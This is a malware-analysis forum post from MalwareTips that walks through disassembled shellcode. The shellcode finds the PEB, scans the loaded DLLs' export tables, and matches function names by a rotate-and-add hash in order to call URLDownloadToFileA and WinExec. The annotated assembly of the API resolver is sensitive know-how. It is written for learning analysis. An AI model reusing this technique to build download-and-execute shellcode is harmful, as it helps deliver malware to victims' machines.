Thread Environment Block (TEB) :

it begins at fs[0], and contains data : at +0x30 : the address needed
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : (null)
+0x020 ClientId : _CLIENT_ID
...
+0x030 ProcessEnvironmentBlock : @address of the the PEB

Reading the value at fs:[30] give the Linear address of the PEB

=> will allow the shellcode to find kernel32.dll address, then
LoadLibraryA function

=> used to load urlmon.dll
Then scanning the dll to find the functions:

- URLDownloadToFileA
And others dll will be scanned to foind some API's functions

- Wow64DisableWow64FsRedirection
- Kernell32.WinExec
- NTDLL.RtlExitUserProcess

PE structure :

The structure of exe / dll files has got info that allow to find several main parts (loaded or not)

This is how the main sub function is able to find, from the address of a dll, where the function names are located, and where the function addresses are.

A complete explanation here :
Peering Inside the PE: A Tour of the Win32 Portable Executable File Format

2) Analysis :


First Call

.data:00000052 push 0x638b488e => used to find the function : LoadLibraryExA
.data:00000057 call 0x00000002 => will find LoadLibraryExA address => in ebp register
Let follow, step by step :

.data:00000002 xor esi,esi

=> esi : 0
.data:00000004 mov esi,DWORD PTR fs:[esi+0x30]

From Thread Environment Block (TEB) => PEB address

=> example : 002E7000 (not always the same value)
.data:00000008 mov esi,DWORD PTR [esi+0xc]

ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
+0x003 SpareBool : 0 ''
+0x004 Mutant : 0xffffffff
+0x008 ImageBaseAddress : 0x01000000
+0x00c Ldr : VALUE _PEB_LDR_DATA

=>Ldr : address pointing to information about the loaded modules for the process

=> here , address is : 772DFBE0 (always the same value on my PC)
.data:0000000b mov esi,DWORD PTR [esi+0x1c]

ntdll!_PEB_LDR_DATA
+0x000 Length : 0x30
+0x004 Initialized : 0x1 ''
+0x008 SsHandle : (null)
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ value 1 - value2 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ value3 - value4 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ value5 - value 6 ]
+0x024 EntryInProgress : (null)
ntdll!_LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY

Flink : forward
Blink : Backward
So it is a set of Forward Pointer and Backward Pointer. It's a double linked list keeping track of both the previous node and the next node

Information about how the DLLs were loaded into the memory exist in 3 way :

Based on the order in which they :
- were loaded: InLoadOrderModuleList
- appear in memory: InMemoryOrderModuleList
- were initialized: InInitializationOrderModuleList
=> esi : InInitializationOrderModuleList : address on my PC : 007C33B8
=> address of the first _LIST_ENTRY of initialized modules

.data:0000000e mov ebp,DWORD PTR [esi+0x8]

=> From here, it will scan loaded modules /dlls from _LIST_ENTRY to _LIST_ENTRY, and each time try to find the API function needed
(using the value that was push before the call of current function)

ebp : 771D0000

=> pointer to ntdll.dll (for the first loop)
(spoiler : this is not where the function needed in the first call of 0x00000002 is located, but the shellcode will scan from the first loaded dll, to others, etc, and will stop if the good API function is found (or if all module / dll have been scan without success)​
.data:00000011 mov esi,DWORD PTR [esi]

=> esi : 004E3BC0 : first _LIST_ENTRY address
.data:00000013 mov ebx,DWORD PTR [ebp+0x3c]

=> read data from ntdll.dll
=> Offset : 0xE8
.data:00000016 mov ebx,DWORD PTR [ebp+ebx*1+0x78]

=> read data from ntdll.dll : 771D0000 + 0xE8 + 0x78
=> ebx : 000F9880
.data:0000001a add ebx,ebp

=> 771D0000 + 000F9880 => 772C9880
.data:0000001c mov ecx,DWORD PTR [ebx+0x18]

=> read data from ntdll.dll : at 772C9880

=> 0x0000090B
.data:0000001f jcxz 0x0000000e

=> if equal to 0x0 => jump to .data:0000000e

=> next _LIST_ENTRY => next module
For the first call, go to next step : .data:00000022
.data:00000022 mov edi,DWORD PTR [ebx+0x20]

=> edi : 772C9880 + 0x20 = 772C98a0
=> value : 000FBCD8
.data:00000025 add edi,ebp

=> beginning of ntdll.dll + 000FBCD8 = 772CBCD8
.data:00000027 mov edi,DWORD PTR [edi+ecx*4-0x4]

=> edi : read value at 772CBCD8 + 0x0000090B * 4 - 0x04
=> read at 772CE100
=> 0010B5D9
.data:0000002b add edi,ebp

=> edi : pointer to wstoul (end of the list of API's function names)
=> For the first call : wcstoul
=> will scan all function names from end to the beginning to find the function name that, once obfuscated value found with their method (explanation later, when the corresponding code will be analyzed) is equal to the value "asked"

reminder : the Main sub function 0x00000002 is currently analyzed with

.data:00000052 push 0x638b488e => obfuscated value
.data:00000057 call 0x00000002
Screenshot : first dll scanned : ntdll.dll
upload_2017-3-29_19-17-10.png


.data:0000002d xor eax,eax
=> eax : 0​

.data:0000002f cdq
=>extends the sign bit of EAX into the EDX register : doubloword to quadword
here => edx => 0 (because eax : 0)​

.data:00000030 add dl,BYTE PTR [edi]
=> Loop : put in the lower part of edx a value read at edi address
=> here : edi is first pointing to "wcstoul"
=> in ASCII : 77 63 73 74 6F 75 6C + 00 (end of the string)

=> edx => 00000077 => ASCII code of first char​
.data:00000032 ror edx,0x4
=> riht rotate of 4 bits
=> 70000007​

.data:00000035 scas al,BYTE PTR es:[edi]
=> al : 0 because eax : 0
Conclusion 01 => Loop until the char "00" is found (=end of the string)
.data:00000036 jne 0x00000030
Let see the loop for the second loop :​
remember : eax contains 70000007 (was the first char code 77 - w), modified​
.data:00000030 add dl,BYTE PTR [edi]

=> here : edi is first pointing to "cstoul"
=> in ASCII : 63 73 74 6F 75 6C + 00 (end of the string)

=> edx => 70000007 + 0x63
=> 7000006A
.data:00000032 ror edx,0x4

=> rotate of 4 bits
=> A7000006
.data:00000035 scas al,BYTE PTR es:[edi]

=> al : 0 because eax : 0
.data:00000036 jne 0x00000030

Conclusion 02=> Build an obfuscated value in register eax from chars of the current function name (wcstoul at the first time)
(will not show the loop for all chars)

.data:00000038 cmp edx,DWORD PTR [esp+0x4]
=> here, all chars from current function name have been used to build the eax obfuscated value
=> the value is compared with the value put on the stack : remember : the value pushed on the stack before the call
of the MAIN SUBFUNCTION 0x000000002
.data:00000052 push 0x638b488e => used to find the function : LoadLibraryExA
.data:00000057 call 0x00000002 => will find LoadLibraryExA address => in ebp register
.data:0000003c loopne 0x00000022 (= loop if not equal)
=> if not found => jump again to 0x00000022
=> 000FBCD8
=> 771D0000
=> 0010B5D0 (previous value was 0010B5D9)
=> 772DB5D0 : remember the screen
=> now the pointer is on another function name
"wcstombs"

ASCII code : 77 63 73 74 6F 6D 62 73 00 (00 : end of the string)
Conclusion 03 :
- It begins from the end part of function names of current dll,
=> for each function name : calculated a value using a method that play with each char code of the current read function name
=> compares the value found with the value needed (from the first call of 0x000002 : 0x638b488e, that correspond to

the string LoadLibraryExA)


- It will search in all loaded modules / dll, scanning all function names until it find the good on (that gives the good obfuscated values, playing with the chars of the current function name)

.data:0000003e jnz 0x0000000e

=> if not find after have scanned all the function name in current dll
=> next loaded dll !!!
=> stop the scan when the good value is found, what means that the good function name is the current function name read,
=> if a working dll is found, will not jump again to 0x0000000e

In the first call of the sub function 0x00000002 (that retrieves the address of needed API function), the scan of the second dll is the good one
- kernelbase.dll => LoadLibraryExA
.data:00000040 mov edx,DWORD PTR [ebx+0x24]
=> edx : 001697D8
=> offset​

.data:00000043 add edx,ebp
=> use the offset to get the address of the good dll
=> 769E0000 : beginning of kernelbase.dll
=> edx : 76B497D8​

=> now, will use the structure of the dll to get the address of the API function corresponding to the good function name​

.data:00000045 movzx edx,WORD PTR [edx+ecx*2]
.data:00000049 mov edi,DWORD PTR [ebx+0x1c]
.data:0000004c add edi,ebp
.data:0000004e add ebp,DWORD PTR [edi+edx*4]
=> here, ebp : the address of the API function (the part that can be called) has been retrieved
=> 7563A4B0​
=> Kernelbase.LoadLibraryA
(the function corresponding to the string found LoadLibraryExA)
=> put in ebp
.data:00000051 ret
3) Conclusion :

.data:00000052 push obfuscated value (correspond to a function name)
.data:00000057 call 0x00000002 => will find the adress of the function name=> in ebp register

=> looks for, in each dll loaded, the functions names,

=>builds the obfuscated value corresponding to the function name read
=>compares it with the value used with the call.
=> If found, retrieves from the dll loaded the address of the API function
=> when it returns : ebp contains the address of the API's function
=> can be used with a call ebp

The shellcode uses this sub function with :

LoadLibraryA to load urlmon.dll

Then :

- URLDownloadToFileA
- Wow64DisableWow64FsRedirection
- Kernell32.WinExec
- NTDLL.RtlExitUserProcess
 
Last edited:

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
ill be here for a while :) thanks DardiM
You are welcome :)
Thank you too, this current thread exists because of your precedent thread / work :)

If you like shellcode analysis, an interesting thread to read :

https://malwaretips.com/threads/need-help-on-this-shellcode-analysis.69225/

The important shellcode part is obfuscated ( XORed), and once decoded, we can see a command line inside (cmd.exe => powershell ...) that is also obfuscated, but this time deobfuscated in real time when the command line is run.
I show how to deobfuscate the shellcode, etc ...
This guide is helpfull to learn some assembly basis :
Guide to x86 Assembly
 
Last edited:

About us

  • MalwareTips is a community-driven platform providing the latest information and resources on malware and cyber threats. Our team of experienced professionals and passionate volunteers work to keep the internet safe and secure. We provide accurate, up-to-date information and strive to build a strong and supportive community dedicated to cybersecurity.

User Menu

Follow us

Follow us on Facebook or Twitter to know first about the latest cybersecurity incidents and malware threats.

Top